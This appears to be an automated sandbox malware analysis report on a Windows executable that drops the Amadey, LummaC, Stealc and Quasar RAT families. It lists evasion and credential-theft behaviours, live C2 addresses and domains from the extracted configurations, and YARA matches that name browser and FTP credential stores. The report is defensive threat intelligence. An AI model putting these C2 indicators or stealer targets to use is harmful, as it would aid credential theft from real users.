Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544238
MD5:	b4c91d3735c11a3932389cdde5058260
SHA1:	2450673980800da6c9ca01682342aebab53481c0
SHA256:	fa9ace1399679c06348f90db37646c738fc709406ede9367e02c18067c2c6081
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Quasar, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Quasar RAT

Yara detected Stealc

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops VBS files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B4C91D3735C11A3932389CDDE5058260)

axplong.exe (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: B4C91D3735C11A3932389CDDE5058260)

LummaC2.exe (PID: 6572 cmdline: "C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe" MD5: FBA8F56206955304B2A6207D9F5E8032)

uhshdsh.exe (PID: 6448 cmdline: "C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe" MD5: CB2BA55FF3D892A5300C0E6A246C670D)

InstallUtil.exe (PID: 5064 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

98a31794c6.exe (PID: 4612 cmdline: "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe" MD5: 82FFB0D94C7F912B03D1FEEE6F614605)

69de3a997f.exe (PID: 892 cmdline: "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe" MD5: 8280E9C803DFF5258A0C452549B5953C)

OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe (PID: 2972 cmdline: "C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe" MD5: 473C91C8363CF492CF6192686E4AEAE8)

axplong.exe (PID: 7120 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4C91D3735C11A3932389CDDE5058260)

98a31794c6.exe (PID: 4676 cmdline: "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe" MD5: 82FFB0D94C7F912B03D1FEEE6F614605)

69de3a997f.exe (PID: 4912 cmdline: "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe" MD5: 8280E9C803DFF5258A0C452549B5953C)

axplong.exe (PID: 6676 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4C91D3735C11A3932389CDDE5058260)

98a31794c6.exe (PID: 5796 cmdline: "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe" MD5: 82FFB0D94C7F912B03D1FEEE6F614605)

69de3a997f.exe (PID: 1680 cmdline: "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe" MD5: 8280E9C803DFF5258A0C452549B5953C)

ZVJQ5P3XZNPH9JRJ.exe (PID: 5512 cmdline: "C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe" MD5: 473C91C8363CF492CF6192686E4AEAE8)

axplong.exe (PID: 6676 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4C91D3735C11A3932389CDDE5058260)

axplong.exe (PID: 6648 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4C91D3735C11A3932389CDDE5058260)

axplong.exe (PID: 2984 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B4C91D3735C11A3932389CDDE5058260)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["authorisev.site", "opposezmny.site", "goalyfeastz.site", "contemteny.site", "servicedny.site", "faulteyotk.site", "computeryrati.site", "seallysl.site", "dilemmadu.site"], "Build id": "4SD0y4--RLREBORN"}

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "b.strongest.network:38204;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "d1e2a934-6f26-4551-933b-02e44b85d93a", "Tag": "500 load run", "LogDirectoryName": "Logs"}

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2589589697.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.2715238456.0000000005220000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.4442585249.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2812858974.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000003.2887493322.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000003.2817944704.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2549164946.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.2136484319.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.3279767591.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2867267001.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2296941343.0000000006080000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000014.00000003.3839582720.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2885377922.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2683343528.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000F.00000002.2755768193.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.3879883094.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.4482848128.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2409293967.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2642667604.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2812965388.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2818049602.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2140756927.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.3239172732.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000003.2936334365.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2884396777.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2869397263.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2180937892.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2072054860.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2868715784.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000003.2367784987.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2123821458.0000000000161000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2868626348.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: uhshdsh.exe PID: 6448	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: uhshdsh.exe PID: 6448	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: uhshdsh.exe PID: 6448	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 5064	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: 98a31794c6.exe PID: 4612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 98a31794c6.exe PID: 4612	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 98a31794c6.exe PID: 4612	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 69de3a997f.exe PID: 892	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 892	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 892	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 98a31794c6.exe PID: 4676	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 98a31794c6.exe PID: 4676	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 69de3a997f.exe PID: 4912	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 4912	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 4912	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 98a31794c6.exe PID: 5796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 98a31794c6.exe PID: 5796	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 69de3a997f.exe PID: 1680	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 1680	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 69de3a997f.exe PID: 1680	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 64 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.uhshdsh.exe.6080000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
3.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.axplong.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.98a31794c6.exe.7b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.98a31794c6.exe.7b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.98a31794c6.exe.7b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.uhshdsh.exe.4a4ede0.6.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
6.2.uhshdsh.exe.4a4ede0.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.uhshdsh.exe.4a4ede0.6.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28ee9d:$x1: Quasar.Common.Messages 0x29f1c6:$x1: Quasar.Common.Messages 0x2ab82a:$x4: Uninstalling... good bye :-( 0x2ad01f:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
6.2.uhshdsh.exe.4a4ede0.6.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aaddc:$f1: FileZilla\recentservers.xml 0x2aae1c:$f2: FileZilla\sitemanager.xml 0x2aae5e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab0aa:$b1: Chrome\User Data\ 0x2ab100:$b1: Chrome\User Data\ 0x2ab3d8:$b2: Mozilla\Firefox\Profiles 0x2ab4d4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd458:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab62c:$b4: Opera Software\Opera Stable\Login Data 0x2ab6e6:$b5: YandexBrowser\User Data\ 0x2ab754:$b5: YandexBrowser\User Data\ 0x2ab428:$s4: logins.json 0x2ab15e:$a1: username_value 0x2ab17c:$a2: password_value 0x2ab468:$a3: encryptedUsername 0x2fd39c:$a3: encryptedUsername 0x2ab48c:$a4: encryptedPassword 0x2fd3ba:$a4: encryptedPassword 0x2fd338:$a5: httpRealm
6.2.uhshdsh.exe.4a4ede0.6.raw.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab914:$s3: Process already elevated. 0x28eb9c:$s4: get_PotentiallyVulnerablePasswords 0x278c58:$s5: GetKeyloggerLogsDirectory 0x29e925:$s5: GetKeyloggerLogsDirectory 0x28ebbf:$s6: set_PotentiallyVulnerablePasswords 0x2fea86:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
6.2.uhshdsh.exe.4a4ede0.6.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
6.2.uhshdsh.exe.4a4ede0.6.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28d09d:$x1: Quasar.Common.Messages 0x29d3c6:$x1: Quasar.Common.Messages 0x2a9a2a:$x4: Uninstalling... good bye :-( 0x2ab21f:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
6.2.uhshdsh.exe.4a4ede0.6.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2a8fdc:$f1: FileZilla\recentservers.xml 0x2a901c:$f2: FileZilla\sitemanager.xml 0x2a905e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2a92aa:$b1: Chrome\User Data\ 0x2a9300:$b1: Chrome\User Data\ 0x2a95d8:$b2: Mozilla\Firefox\Profiles 0x2a96d4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fb658:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2a982c:$b4: Opera Software\Opera Stable\Login Data 0x2a98e6:$b5: YandexBrowser\User Data\ 0x2a9954:$b5: YandexBrowser\User Data\ 0x2a9628:$s4: logins.json 0x2a935e:$a1: username_value 0x2a937c:$a2: password_value 0x2a9668:$a3: encryptedUsername 0x2fb59c:$a3: encryptedUsername 0x2a968c:$a4: encryptedPassword 0x2fb5ba:$a4: encryptedPassword 0x2fb538:$a5: httpRealm
6.2.uhshdsh.exe.4a4ede0.6.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x163116:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2a9b14:$s3: Process already elevated. 0x28cd9c:$s4: get_PotentiallyVulnerablePasswords 0x276e58:$s5: GetKeyloggerLogsDirectory 0x29cb25:$s5: GetKeyloggerLogsDirectory 0x28cdbf:$s6: set_PotentiallyVulnerablePasswords 0x2fcc86:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
7.2.InstallUtil.exe.500000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.InstallUtil.exe.500000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.InstallUtil.exe.500000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28ee9d:$x1: Quasar.Common.Messages 0x29f1c6:$x1: Quasar.Common.Messages 0x2ab82a:$x4: Uninstalling... good bye :-( 0x2ad01f:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
